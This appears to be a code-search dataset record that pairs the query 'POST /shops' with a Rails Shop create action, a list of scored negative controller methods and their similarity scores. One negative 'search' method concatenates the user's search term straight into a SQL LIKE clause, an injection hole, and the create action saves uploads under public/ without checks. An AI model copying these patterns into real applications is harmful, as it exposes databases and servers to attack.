"def get_shops_list\n\n\t\tbegin\n\t\t\tres = []\n\t\t\tcost = 0\n\t\t\toffer_cost = 0\n\n\t\t\tService.where(:shop_service_type_id => params[:shop_service_type_id]).each do |s|\n\t\t\t\tputs s.inspect\n\t\t\t\tputs params.inspect\n\t\t\t\tif s.shop.location_id == params[:location_id].to_i\n\t\t\t\t\t\n\n\t\t\t\t\tif s.offers.blank?\n\t\t\t\t\t\tputs \"no offers\"\n\t\t\t\t\t\tputs s.inspect\n\t\t\t\t\t\tcase params[:membership_type].to_s\n\t\t\t\t\t\twhen 'y'\n\t\t\t\t\t\t\tcost = s.cost_yearly\n\t\t\t\t\t\twhen 'h'\n\t\t\t\t\t\t\tcost = s.cost_halfyearly\n\n\t\t\t\t\t\twhen 'q'\n\t\t\t\t\t\t\tcost = s.cost_quartly\n\n\t\t\t\t\t\twhen 'm'\n\t\t\t\t\t\t\tcost = s.cost_monthly\n\n\t\t\t\t\t\twhen 'd'\n\t\t\t\t\t\t\tcost = s.cost_daily\n\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tcost = 0\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tputs \"has offer\"\n\t\t\t\t\t\tputs s.offers.inspect\n\t\t\t\t\t\tcase params[:membership_type].to_s\n\t\t\t\t\t\twhen 'y'\n\t\t\t\t\t\t\tcost = s.cost_yearly\n\t\t\t\t\t\t\toffer_cost = s.offers.last.cost_yearly\n\t\t\t\t\t\twhen 'h'\n\t\t\t\t\t\t\tcost = s.cost_halfyearly\n\t\t\t\t\t\t\toffer_cost = s.offers.last.cost_halfyearly\n\t\t\t\t\t\twhen 'q'\n\t\t\t\t\t\t\tcost = s.cost_quartly\n\t\t\t\t\t\t\toffer_cost = s.offers.last.cost_quartly\n\t\t\t\t\t\twhen 'm'\n\t\t\t\t\t\t\tcost = s.cost_monthly\n\t\t\t\t\t\t\toffer_cost = s.offers.last.cost_monthly\n\t\t\t\t\t\twhen 'd'\n\t\t\t\t\t\t\tcost = s.cost_daily\n\t\t\t\t\t\t\toffer_cost = s.offers.last.cost_daily\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tcost = 0\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tend\n\n\t\t\t\t\tend\n\n\t\t\t\t\tjson_obj = { \"shop_id\" => s.shop_id,\n\t\t\t\t\t\t\"shop_name\" => s.shop.name,\n\t\t\t\t\t\t\"icon\" => s.shop.icon,\n\t\t\t\t\t\t\"time_slot_ids\" => s.shop.time_slot_ids,\n\t\t\t\t\t\t\"day_slot_ids\" => s.shop.day_slot_ids,\n\t\t\t\t\t\t\"service_name\" => s.shop_service_type.name,\n\t\t\t\t\t\t\"cost\" => cost,\n\t\t\t\t\t\t\"offer_cost\" => offer_cost\n\t\t\t\t\t}\n\t\t\t\t\tputs \"json obj \"+json_obj.to_s\n\t\t\t\t\tres << json_obj\n\t\t\t\t\tputs res\n\n\t\t\t\tend\n\n\t\t\t\t\n\t\t\tend\n\n\n\n\n\n\t\t\trender :json => {:data => res.as_json,:success => true, :message => \"App Data found\"}\n\n\t\trescue Exception => e\n\t\t\tputs e.inspect\n\t\t\trender :json => {:data => \"\", :success => false, :message => \"Unable to retrive data\"}\n\t\tend\t\n\tend",
"def show\n render json: @service\n end",
"def index\n @training_workshops = TrainingWorkshop.all\n end",
"def show\n @shop = Shop.find(params[:id])\n @rates = @shop.rates.page(params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop }\n end\n end",
"def index\n @shops = Shop.all.order(updated_at: :desc)\n end",
"def search\n if params[:term]\n @shops = Shop.where(\"title like '%\"+params[:term]+\"%'\")\n else\n @shops = Shop.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shops }\n end\n\n end",
"def index\n @opportunities = Opportunity.all\n\n render json: @opportunities\n end",
"def index\n @reviews = Review.where(shop_id: params[:shop_id])\n @shop = Shop.find(params[:shop_id])\n end",
"def index\n @shops = current_user.shops.paginate(:page => params[:page], :per_page => per_page)\n @shop_requests = current_user.shop_requests.incomplete.paginate(:page => params[:p], :per_page => per_page)\n end",
"def index\n @bookshops = BookShop.all\n end",
"def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end",
"def index\n @sprojects = current_user.sprojects.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprojects }\n end\n end",
"def show\n @shop_purchase = Shop::Purchase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_purchase }\n end\n end",
"def index\n workouts = @ws.workouts\n render json: workouts\n end",
"def show\n \n @shop = Shop.find(params[:id])\n @json = @shop.to_gmaps4rails\n \n @reviews = Review.where(:shop_id => params[:id] )\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shop }\n end\n end",
"def shop\n return shops[0]\n end",
"def index\n if current_user.admin?\n @stores = Store.all\n else\n @stores = current_user.stores\n end\n\n render json: @stores\n end",
"def index\n @shopping_carts = ShoppingCart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shopping_carts }\n end\n end",
"def index\n @scoops = current_kid.scoops.paginate(page: params[:page], per_page: 30).order(created_at: :desc)\n end",
"def index\n @bookshops = Bookshop.all\n end",
"def index\n @bookshops = Bookshop.all\n end",
"def index\n @store = Store.find(params[:store_id])\n @menus = @store.menus\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @menus }\n end\n end",
"def show\n render json: @service_history\n end",
"def index\n @api_v1_shopping_lists = ShoppingList.all\n end",
"def index\n @repair_shops = RepairShop.all\n end",
"def show\n @api_wmall_shop_activity = Api::Wmall::ShopActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_wmall_shop_activity }\n end\n end",
"def index\n @customers = Customer.where(\"shop=?\",@shop_session.url)\n end",
"def index\n #@shares = Share.all\n @stores = Store.find_my_stores(session[:user_id])\n @sharedStores = Store.find_my_share_stores(session[:user_id])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shares }\n end\n end",
"def index\n @sales = @saleService.all_to_json().as_json;\n end",
"def index\n @operations = Operation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @operations }\n end\n end",
"def index\n @stores = @commerce.stores\n end",
"def create\n @shop = @shops.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: \"Shop was successfully created.\" }\n format.json { render :show, status: :created, location: @shop }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @troop = Troop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @troop }\n end\n end",
"def index\n @shop_owners = ShopOwner.all\n end",
"def index\n @sells = Sell.all\n\n render json: @sells\n end",
"def index\n\t\t@shop = Shop.find(params[:shop_id])\n\t\t@reviews = @shop.reviews\n\tend",
"def index\n @men_shop_collections = MenShopCollection.all\n end",
"def show\n @serviceorg = Serviceorg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serviceorg }\n end\n end",
"def show\n @sprintstory = Sprintstory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprintstory }\n end\n end",
"def shop_index\n\t\tauthorize ShopProfile\n\t\trespond_to do |format|\n format.html\n format.json {render json: ShopProfileDatatable.new(view_context)}\n end\n\tend",
"def index\n @hops = Hop.all\n end",
"def index\n @shop_profiles = ShopProfile.all\n end",
"def show\n render json: @opportunity\n end",
"def show\n render json: @sale\n end",
"def show\n @stock = Stock.find(params[:id])\n\n render json: @stock\n end",
"def index\n @api_v1_stores = Store.all\n json_response(@api_v1_stores)\n end",
"def index\n @shoppings = Shopping.all\n end",
"def userStocks\n render :json => StockPresenter.new.getStocks(current_user.id)\n end",
"def index\n @shop_calendars = ShopCalendar.all\n end",
"def index\n @collections = current_user.collections.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @collections }\n end\n end",
"def index\n @supplysites = Supplysite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @supplysites }\n end\n end",
"def index\n @shops = Shop.visible\n @hash = Gmaps4rails.build_markers(@shops) do |shop, marker|\n marker.lat shop.latitude\n marker.lng shop.longitude\n marker.infowindow shop.shopname\n marker.picture({\n :url => \"/images/shopping.png\",\n :width => 33,\n :height => 44\n })\n marker.title shop.shopname\n end\n end"
] |
[
"0.72563785",
"0.7201",
"0.6871923",
"0.68268996",
"0.6785776",
"0.67797875",
"0.6753759",
"0.67289543",
"0.66619116",
"0.6610495",
"0.658828",
"0.65255874",
"0.6515238",
"0.6446234",
"0.6438655",
"0.6430346",
"0.6408071",
"0.64047897",
"0.63898164",
"0.63822806",
"0.63668334",
"0.6322924",
"0.61937296",
"0.6161211",
"0.61487603",
"0.6124647",
"0.611093",
"0.6106132",
"0.6101361",
"0.6062868",
"0.60527056",
"0.60493076",
"0.6041493",
"0.603024",
"0.60292804",
"0.5983795",
"0.59799826",
"0.59540546",
"0.59435856",
"0.5928835",
"0.591704",
"0.5916132",
"0.5910778",
"0.5884266",
"0.58686846",
"0.5857631",
"0.58544445",
"0.5847202",
"0.5843671",
"0.5821961",
"0.5819536",
"0.5818299",
"0.58170784",
"0.581207",
"0.5806127",
"0.5802245",
"0.5801758",
"0.5800951",
"0.5800212",
"0.5798434",
"0.57949936",
"0.5794385",
"0.5791038",
"0.57848364",
"0.57848364",
"0.5781066",
"0.5776472",
"0.5769269",
"0.57620597",
"0.57599944",
"0.5759304",
"0.5759224",
"0.57567793",
"0.57527035",
"0.57470167",
"0.574641",
"0.5734474",
"0.5733076",
"0.5726727",
"0.5724804",
"0.57202995",
"0.57180905",
"0.5711374",
"0.5697508",
"0.56968135",
"0.5696271",
"0.5693312",
"0.5692443",
"0.568958",
"0.56684464",
"0.5662623",
"0.5660167",
"0.56487745",
"0.56467897",
"0.5644518",
"0.56440055"
] |
0.7006259
|
5
|
POST /shops POST /shops.json
|
def create
@shop = Shop.new(name: params[:shop][:name], station: params[:shop][:station], prefucture: params[:shop][:prefucture], city: params[:shop][:city], address: params[:shop][:address], url: params[:shop][:url], tell_num: params[:shop][:tell_num],shop_image: params[:shop][:shop_image], start_time: params[:shop][:start_time], end_time: params[:shop][:end_time], features: params[:shop][:features], holidays: params[:shop][:holidays], wifi: params[:shop][:wifi], sockets: params[:shop][:sockets], non_smorker: params[:shop][:non_smorker], smorker: params[:shop][:smorker], mid_night: params[:shop][:mid_night], close_from_station: params[:shop][:close_from_station], parking: params[:shop][:parking], co_working: params[:shop][:co_working], printer: params[:shop][:printer],)
require 'date'
time = Time.now
if @shop.shop_image
@shop.shop_image= "#{time}.jpg"
image = params[:shop][:shop_image]
File.binwrite("public/#{@shop.shop_image}",image.read)
else
puts "写真ないよ"
@shop.shop_image= "no-image.png"
end
if @shop.wifi == "1"
@shop.wifi = "#Wifi有り"
else
@shop.wifi = ""
end
if @shop.sockets == "1"
@shop.sockets ="#電源有り"
else
@shop.sockets = ""
end
if @shop.non_smorker == "1"
@shop.non_smorker = "#完全禁煙"
else
@shop.non_smorker = ""
end
if @shop.smorker == "1"
@shop.smorker = "#喫煙可"
else
@shop.smorker =""
end
if @shop.mid_night == "1"
@shop.mid_night = "#深夜営業"
else
@shop.mid_night = ""
end
if @shop.close_from_station == "1"
@shop.close_from_station = "#駅チカ"
else
@shop.close_from_station = ""
end
if @shop.parking == "1"
@shop.parking = "#駐車場有り"
else
@shop.parking = ""
end
if @shop.co_working == "1"
@shop.co_working = "#コワーキングスペース"
else
@shop.co_working = ""
end
if @shop.printer == "1"
@shop.printer = "#プリンター有り"
else
@shop.printer = ""
end
respond_to do |format|
if @shop.save
format.html { redirect_to @shop, notice: '店舗登録を完了しました' }
format.json { render :show, status: :created, location: @shop }
else
format.html { render :new }
format.json { render json: @shop.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @shop = @shops.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: \"Shop was successfully created.\" }\n format.json { render :show, status: :created, location: @shop }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # state 0 means shop is invaliable\n @shop = current_user.shops.new(shop_params.merge state: 0)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to uppics_shop_url(@shop), notice: 'Shop was successfully created.' }\n format.json { render :show, status: :created, location: @shop }\n else\n format.html { render :new }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop = Shop.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to shops_url, notice: 'Shop #{@shop.name} was successfully created.' }\n format.json { render :show, status: :created, location: shops_url }\n else\n format.html { render :new }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop = Shop.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to shops_path, success: 'Shop was successfully created.' }\n else\n format.html { render action: 'new' }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop = Shop.new(params[:shop])\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: 'Shop was successfully created.' }\n format.json { render json: @shop, status: :created, location: @shop }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop = Shop.new(params[:shop])\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: 'Shop was successfully created.' }\n format.json { render json: @shop, status: :created, location: @shop }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop = Shop.new(shop_params)\n @shopkeeper = current_user.shopkeeper\n @shop.shopkeeper_id = @shopkeeper.id\n\n if @shop.save\n render json: @shop, status: :created, location: @shop\n else\n render json: @shop.errors, status: :unprocessable_entity\n end\n end",
"def create\n @shop = Shop.new(shop_params)\n\n if @shop.save\n render :show, status: :created, location: @shop\n else\n render json: @shop.errors, status: :unprocessable_entity\n end\n end",
"def create\n @shop = Shop.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: 'Shop was successfully created.' }\n format.json { render :show, status: :created, location: @shop }\n else\n format.html { render :new }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop = Shop.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: 'Shop was successfully created.' }\n format.json { render :show, status: :created, location: @shop }\n else\n format.html { render :new }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop = Shop.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: 'Shop was successfully created.' }\n format.json { render action: 'show', status: :created, location: @shop }\n else\n format.html { render action: 'new' }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @shops = Shop.all\n\n # render json: @shops\n\n completedShops = []\n\n @shops.each do |shop| \n completedShops << { shop: { created_at: shop.created_at, description: shop.description, id: shop.id, name: shop.name, logo: shop.logo, shopkeeper_id: shop.shopkeeper_id, products: shop.products } }\n end\n\n render json: completedShops\n\n end",
"def create\n\t\t@admin_shop = Admin::Shop.new(admin_shop_params)\n\n\t\trespond_to do |format|\n\t\t\tif @admin_shop.save\n\t\t\t\tformat.html { redirect_to @admin_shop, notice: 'Shop was successfully created.' }\n\t\t\t\tformat.json { render json: @admin_shop, status: :created, location: @admin_shop }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @admin_shop.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @apply_shop = ApplyShop.new(apply_shop_params)\n\n respond_to do |format|\n if @apply_shop.save\n format.html { redirect_to @apply_shop, notice: 'Apply shop was successfully created.' }\n format.json { render action: 'show', status: :created, location: @apply_shop }\n else\n format.html { render action: 'new' }\n format.json { render json: @apply_shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop_ose = ShopOse.new(params[:shop_ose])\n\n respond_to do |format|\n if @shop_ose.save\n format.html { redirect_to @shop_ose, notice: 'Shop ose was successfully created.' }\n format.json { render json: @shop_ose, status: :created, location: @shop_ose }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_ose.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @pet_shop = current_user.pet_shops.build(pet_shop_params)\n\n respond_to do |format|\n if @pet_shop.save\n format.html { redirect_to @pet_shop, notice: I18n.t('.shop-created') || 'Pet shop was successfully created.' }\n format.json { render :show, status: :created, location: @pet_shop }\n else\n format.html { render :new }\n format.json { render json: @pet_shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shopdetail = Shopdetail.new(shopdetail_params)\n\n respond_to do |format|\n if @shopdetail.save\n format.html { redirect_to @shopdetail, notice: 'Shopdetail was successfully created.' }\n format.json { render :show, status: :created, location: @shopdetail }\n else\n format.html { render :new }\n format.json { render json: @shopdetail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, @shop\n @shop = Shop.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: 'Shop was successfully created.' }\n format.json { render :show, status: :created, location: @shop }\n else\n format.html { render :new }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @scoop = Scoop.new(scoop_params)\n @scoop.kid = current_kid\n respond_to do |format|\n if @scoop.save\n format.html { redirect_to scoops_path, notice: 'Scoop was successfully created!' }\n format.json { render :show, status: :created, location: @scoop }\n else\n format.html { render :new }\n format.json { render json: @scoop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop = Shop.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, shop: @shop }\n else\n format.html { render :new }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shopping = Shopping.new(params[:shopping])\n\n respond_to do |format|\n if @shopping.save\n format.html { redirect_to admins_shoppings_url, :notice => 'O Shopping foi criado com sucesso.' }\n format.json { render :json => @shopping, :status => :created, :location => @shopping }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @shopping.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @shoe = Shoe.new(params[:shoe])\n\n respond_to do |format|\n if @shoe.save\n format.html { redirect_to @shoe, notice: 'Shoe was successfully created.' }\n format.json { render json: @shoe, status: :created, location: @shoe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sys_op = SysOp.new(params[:sys_op])\n\n respond_to do |format|\n if @sys_op.save\n format.html { redirect_to @sys_op, notice: 'Sys op was successfully created.' }\n format.json { render json: @sys_op, status: :created, location: @sys_op }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sys_op.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @home_categories_products_indices_shop = Home::Categories::Products::Indices::Shop.new(params[:home_categories_products_indices_shop])\n\n respond_to do |format|\n if @home_categories_products_indices_shop.save\n format.html { redirect_to @home_categories_products_indices_shop, notice: 'Shop was successfully created.' }\n format.json { render json: @home_categories_products_indices_shop, status: :created, location: @home_categories_products_indices_shop }\n else\n format.html { render action: \"new\" }\n format.json { render json: @home_categories_products_indices_shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shopcode = Shopcode.new(shopcode_params)\n\n respond_to do |format|\n if @shopcode.save\n format.html { redirect_to @shopcode, notice: 'Shopcode was successfully created.' }\n format.json { render :show, status: :created, location: @shopcode }\n else\n format.html { render :new }\n format.json { render json: @shopcode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @troop = Troop.new(troop_params)\n\n if @troop.save\n render :show, status: :created, location: @troop\n else\n render json: @troop.errors, status: :unprocessable_entity\n end\n end",
"def create\n @shop_item = @flat.shop_items.build(params[:shop_item])\n @shop_item.send_out(current_user)\n\n respond_to do |format|\n if @shop_item.save\n format.html { redirect_to [@flat, @shop_item], notice: 'Shop item was successfully created.' }\n format.json { render json: @shop_item, status: :created, location: [@flat, @shop_item] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop_admin = ShopAdmin.new(shop_admin_params)\n\n respond_to do |format|\n if @shop_admin.save\n format.html { redirect_to @shop_admin, notice: 'Shop admin was successfully created.' }\n format.json { render :show, status: :created, location: @shop_admin }\n else\n format.html { render :new }\n format.json { render json: @shop_admin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bicycle_shop = BicycleShop.new(bicycle_shop_params)\n\n respond_to do |format|\n if @bicycle_shop.save\n format.html { redirect_to @bicycle_shop, notice: 'Bicycle shop was successfully created.' }\n format.json { render :show, status: :created, location: @bicycle_shop }\n else\n format.html { render :new }\n format.json { render json: @bicycle_shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @training_workshop = TrainingWorkshop.new(training_workshop_params)\n\n respond_to do |format|\n if @training_workshop.save\n format.html { redirect_to @training_workshop, notice: 'Training workshop was successfully created.' }\n format.json { render :show, status: :created, location: @training_workshop }\n else\n format.html { render :new }\n format.json { render json: @training_workshop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop = Barbershop.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to '/', notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @shop }\n else\n format.html { render :new }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Shopify passes the shop domain (aka uid) as an environment variable,\n # not as part of the request body.\n shop_uid = request.env['HTTP_X_SHOPIFY_SHOP_DOMAIN']\n\n Rails.logger.info(\"Shopify webook received for shop '#{shop_uid}'\")\n\n shop = Shop.find_by(shopify_uid: shop_uid)\n\n if shop\n SynchronizeTeamJob.new.async.perform(shop.team.id)\n else\n Rails.logger.info(\"Shop not found '#{shop_uid}'\")\n end\n\n rescue StandardError => e\n # Rescue any error so that we always respond with 200, otherwise Shopify will disable the webhook.\n # Still log and report an error to newrelic, though, so that we know about it.\n ReportError.call(\"Error processing shopify webhook: #{e.message}\")\n ensure\n head :ok\n end",
"def create\n @troop = Troop.new(params[:troop])\n\n respond_to do |format|\n if @troop.save\n format.html { redirect_to @troop, notice: 'Troop was successfully created.' }\n format.json { render json: @troop, status: :created, location: @troop }\n else\n format.html { render action: \"new\" }\n format.json { render json: @troop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop_claim = ShopClaim.new(shop_claim_params)\n\n if @shop_claim.save\n render json: @shop_claim, status: :created, location: @shop_claim\n else\n render json: @shop_claim.errors, status: :unprocessable_entity\n end\n end",
"def create\n @order_vehicle_workshop = OrderVehicleWorkshop.new(order_vehicle_workshop_params)\n\n respond_to do |format|\n if @order_vehicle_workshop.save\n format.html { redirect_to @order_vehicle_workshop, notice: 'Order vehicle workshop was successfully created.' }\n format.json { render :show, status: :created, location: @order_vehicle_workshop }\n else\n format.html { render :new }\n format.json { render json: @order_vehicle_workshop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @hop = Hop.new(hop_params)\n\n respond_to do |format|\n if @hop.save\n format.html { redirect_to @hop, notice: 'Hop was successfully created.' }\n format.json { render :show, status: :created, location: @hop }\n else\n format.html { render :new }\n format.json { render json: @hop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @swot = Swot.new(swot_params)\n\n respond_to do |format|\n if @swot.save\n format.html { redirect_to @swot, notice: 'Swot was successfully created.' }\n format.json { render :show, status: :created, location: @swot }\n else\n format.html { render :new }\n format.json { render json: @swot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shops_favorite = ShopsFavorite.new(params[:shops_favorite])\n\n respond_to do |format|\n if @shops_favorite.save\n format.html { redirect_to(@shops_favorite, :notice => 'Shops favorite was successfully created.') }\n format.xml { render :xml => @shops_favorite, :status => :created, :location => @shops_favorite }\n format.json { render :json => @shops_favorite, :status => :created, :location => @shops_favorite }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @shops_favorite.errors, :status => :unprocessable_entity }\n format.json { render :json => @shops_favorite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @shop = Shop.new(shop_params)\n @shop.user_id = current_user.id\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: '美食餐廳已新增。' }\n format.json { render :show, status: :created, location: @shop }\n else\n format.html { render :new }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop_tag = ShopTag.new(shop_tag_params)\n\n respond_to do |format|\n if @shop_tag.save\n format.html { redirect_to @shop_tag, notice: 'Shop tag was successfully created.' }\n format.json { render :show, status: :created, location: @shop_tag }\n else\n format.html { render :new }\n format.json { render json: @shop_tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @coffee_shop = CoffeeShop.new(coffee_shop_params)\n\n respond_to do |format|\n if @coffee_shop.save\n format.html { redirect_to @coffee_shop, notice: 'Coffee shop was successfully created.' }\n format.json { render :show, status: :created, location: @coffee_shop }\n else\n format.html { render :new }\n format.json { render json: @coffee_shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mall = Mall.new(mall_params)\n shops_in_mall = Shop.where(id: JSON.parse(params[:mall][:shops_in_mall])) if params[:mall][:shops_in_mall]\n @mall.shops << shops_in_mall\n\n respond_to do |format|\n if @mall.save\n format.html { redirect_to director_malls_path, notice: 'Mall was successfully created.' }\n format.json { render :show, status: :created, location: @mall }\n else\n format.html {\n @shops = Shop.to_options.to_json\n render :new\n }\n format.json { render json: @mall.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end",
"def create\n params[:shop][:starts_at] = Chronic.parse params[:shop][:starts_at]\n params[:shop][:ends_at] = Chronic.parse params[:shop][:ends_at]\n\n @shop = Shop.new(params[:shop])\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to @shop, notice: 'Shop was successfully created.' }\n format.json { render json: @shop, status: :created, location: @shop }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @service = Service.new(service_params)\r\n respond_to do |format|\r\n if @service.save #/enter/companies/:company_id/services/:id/add_stack\r\n format.html { redirect_to \"/enter/companies/#{@service.company_id}/services/#{@service.id}/add_stack\", notice: 'Service was successfully created.' }\r\n format.json { render :add_stack, status: :created, location: @service }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @service.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @shop_section = ShopSection.new(params[:shop_section])\n\n respond_to do |format|\n if @shop_section.save\n format.html { redirect_to shop_section_products_path(@shop_section.short_url), notice: 'Shop section was successfully created.' }\n format.json { render json: @shop_section, status: :created, location: @shop_section }\n else\n format.html { render action: \"new\", layout: \"editor\" }\n format.json { render json: @shop_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shelter = Shelter.new(shelter_params)\n\n if @shelter.save\n render json: @shelter, status: :created, location: @shelter\n else\n render json: @shelter.errors, status: :unprocessable_entity\n end\n end",
"def create\n @shopping = Shopping.new(shopping_params)\n \n respond_to do |format|\n if @shopping.save\n format.html { redirect_to @shopping, notice: 'Shopping was successfully created.' }\n format.json { render :show, status: :created, location: @shopping }\n else\n format.html { render :new }\n format.json { render json: @shopping.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shopping = Shopping.new(shopping_params)\n\n respond_to do |format|\n if @shopping.save\n format.html { redirect_to @shopping, notice: 'Shopping was successfully created.' }\n format.json { render :show, status: :created, location: @shopping }\n else\n format.html { render :new }\n format.json { render json: @shopping.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @promo = Promo.new(params[:promo])\n brand = @promo.brand\n @promo.stores = brand.stores\n respond_to do |format|\n if @promo.save\n format.html { redirect_to @promo, notice: 'Promo was successfully created.' }\n format.json { render json: @promo, status: :created, location: @promo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @promo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @hops_addition = HopsAddition.new(params[:hops_addition])\n\n respond_to do |format|\n if @hops_addition.save\n flash[:notice] = 'HopsAddition was successfully created.'\n format.html { redirect_to(@hops_addition) }\n format.xml { render :xml => @hops_addition, :status => :created, :location => @hops_addition }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @hops_addition.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @storepromotion = Storepromotion.new(storepromotion_params)\n\n respond_to do |format|\n if @storepromotion.save\n format.html { redirect_to @storepromotion, notice: 'Storepromotion was successfully created.' }\n format.json { render :show, status: :created, location: @storepromotion }\n else\n format.html { render :new }\n format.json { render json: @storepromotion.errors, status: :unprocessable_entity }\n end\n end\n end",
